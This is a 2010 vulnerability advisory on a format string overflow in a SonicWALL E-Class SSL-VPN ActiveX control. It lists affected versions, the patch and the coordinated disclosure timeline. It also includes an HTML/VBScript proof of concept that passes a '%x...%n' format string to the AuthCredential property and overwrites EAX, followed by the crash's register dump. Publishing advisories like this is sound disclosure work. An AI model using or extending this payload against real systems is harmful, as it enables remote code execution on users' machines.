-------------------------- NSOADV-2010-005 ---------------------------
SonicWALL E-Class SSL-VPN ActiveX Control format string overflow
______________________________________________________________________
______________________________________________________________________
111101111
11111 00110 00110001111
111111 01 01 1 11111011111111
11111 0 11 01 0 11 1 1 111011001
11111111101 1 11 0110111 1 1111101111
1001 0 1 10 11 0 10 11 1111111 1 111 111001
111111111 0 10 1111 0 11 11 111111111 1 1101 10
00111 0 0 11 00 0 1110 1 1011111111111 1111111 11 100
10111111 0 01 0 1 1 111110 11 1111111111111 11110000011
0111111110 0110 1110 1 0 11101111111111111011 11100 00
01111 0 10 1110 1 011111 1 111111111111111111111101 01
01110 0 10 111110 110 0 11101111111111111111101111101
111111 11 0 1111 0 1 1 1 1 111111111111111111111101 111
111110110 10 0111110 1 0 0 1111111111111111111111111 110
111 11111 1 1 111 1 10011 101111111111011111111 0 1100
111 10 110 101011110010 11111111111111111111111 11 0011100
11 10 001100 0001 111111111111111111 10 11 11110
11110 00100 00001 10 1 1111 101010001 11111111
11101 0 1011 10000 00100 11100 00001101 0
0110 111011011 0110 10001 101 11110
1011 1 10 101 000001 01 00
1010 1 11001 1 1 101 10
110101011 0 101 11110
110000011
111
______________________________________________________________________
______________________________________________________________________
Title: SonicWALL E-Class SSL-VPN ActiveX Control
format string overflow
Severity: High
Advisory ID: NSOADV-2010-005
Found Date: 22.02.2010
Date Reported: 09.06.2010
Release Date: 19.08.2010
Author: Nikolas Sotiriu
Website: http://sotiriu.de
Twitter: http://twitter.com/nsoresearch
Mail: nso-research at sotiriu.de
URL: http://sotiriu.de/adv/NSOADV-2009-005.txt
Vendor: SonicWALL (http://www.sonicwall.com/)
Affected Products: SonicWALL SRA EX1600
SonicWALL EX7000
SonicWALL EX6000
SonicWALL EX-1600
SonicWALL EX-1500
SonicWALL EX-750
Affected Versions: 10.0.4 and all previous versions
10.5.1 without hotfix
Remote Exploitable: Yes
Local Exploitable: No
Patch Status: Vendor released a patch
Discovered by: Nikolas Sotiriu
Disclosure Policy: http://sotiriu.de/policy.html
Thanks to: Thierry Zoller: For the permission to use his
Policy
Background:
===========
SonicWALL has added the award-winning Aventail SSL VPN product line to
our E-Class SRA appliances. Aventail's best-of-breed SSL VPNs deliver
secure remote access to the most resources from the most end point
locations. Aventail was named in the Visionaries Quadrant in the SSL
VPN Magic Quadrant Report from Gartner, considered to be the leading
analyst firm covering the SSL VPN industry.
(Product description from Website)
Description:
============
Remote exploitation of a format string overflow vulnerability in the
End-Point Interrogator/Installer ActiveX Control could allow an attacker
to execute arbitrary code within the security context of the targeted
user.
The affected function is "AuthCredential". The functions
"ConfigurationString" seems to be also vulnerable, but the format
string has to be base64 decoded.
Name: End-Point Interrogator/Installer Module
Vendor: Aventail Corporation
Type: ActiveX-Control
Version: 10.3.42
Prog ID: EPILib.EPInterrogator
GUID: {2A1BE1E7-C550-4D67-A553-7F2D3A39233D}
File: epi.dll
Folder: %userprofile%\Application Data\Aventail\epi
Safe for Script: True
Safe for Init: True
Proof of Concept :
==================
<html>
<head>
<title>SonicWALL E-Class SSL-VPN ActiveX Control DoS PoC</title>
</head>
<body>
<pre>
<img src="http://sotiriu.de/images/logo_wh_80.png";>
<input type=button name="Submit" VALUE="Rule #5 – Shoot First">
</pre>
<object classid='clsid:2A1BE1E7-C550-4D67-A553-7F2D3A39233D'
id='obj'></object>
<script language='vbscript'>
Sub Submit_OnClick
eax=String(2, unescape("%u6161"))
arg="%1862x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n"
'EAX 61616161
buf=eax+arg
obj.AuthCredential = buf
End Sub
</script>
</body>
</html>
Notes:
======
The Exploit overwrites the EAX register with 0x61616161.
EAX 61616161
ECX 000007F2
EDX 00000000
EBX FFFF006E
ESP 01929AE4
EBP 01929F54
ESI 00000020
EDI 00000002
EIP 77C1391B msvcrt.77C1391B
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFD8000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty +UNORM 1C68 00000000 E162AA10
ST1 empty 7.5918347351318302720e-1715
ST2 empty +UNORM 001C 7779065D E19F4F1C
ST3 empty 3.4653990691284428800e+1178
ST4 empty 0.0000000000840901890e-4933
ST5 empty -??? FFFF 00000000 00000000
ST6 empty 6.4564231821671188480e-4932
ST7 empty 1.0000000000000000000
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
The function where the exception occurs looks like this:
77C1391B 8908 MOV DWORD PTR DS:[EAX],ECX
Solution:
=========
Version 10.0.5:
+--------------
Download the new version on www.mysonicwall.com
Version 10.5.1:
+--------------
SonicWALL Security Advisory:
http://www.sonicwall.com/us/support/kb.asp?kbid=8272
Disclosure Timeline (YYYY/MM/DD):
=================================
2010.02.22: Vulnerability found
2010.06.08: Ask on full-disc for a SonicWALL security contact
2010.06.09: Initial contact by info () sonicwall and germany () sonicwall
email address
2010.06.09: Initial Vendor response by phone from a german SonicWALL SE
2010.06.09: Got an email from SonicWALL as a response to my mail to
full-disc with the contact email address
security () sonicwall com
2010.06.10: Sent the Notification and Disclosure Policy and ask for a
PGP Key
[-] No Response
2010.06.18: Got an email response from the SonicWALL SSL-VPN Product
Manager with a PGP key.
2010.06.19: Sent PoC, Advisory, Disclosure policy and planned disclosure
date (2010.06.24) to Vendor
2010.06.19: SonicWALL acknowledges the reception of the advisory
2010.06.22: Vendor verifies the vulnerability
2010.07.07: Ask for a status update, because the planned release date
was the 2010.06.24
2010.07.07: SonicWALL informs me that they will release a new version
at end of July.
2010.07.07: Changed release date to 2010.07.29
2010.07.29: Ask for a status update, because the planned release date
is the 2010.07.29
2010.07.29: SonicWALL informs me that the version 10.0.5 is in final QA
and should be released next week.
2010.08.13: Send SonicWALL the information, that i will release the
advisory at Wednesday 2010.08.18.
2010.08.16: SonicWALL informs me that the version 10.0.5 is already
downloadable for customers.
2010.08.16: Ask for an SonicWALL advisory and a list of affected
products
2010.08.17: SonicWALL sends me there advisory draft
2010.08.18: Ask SonicWALL for credits in there advisory
2010.08.19: Release of this advisory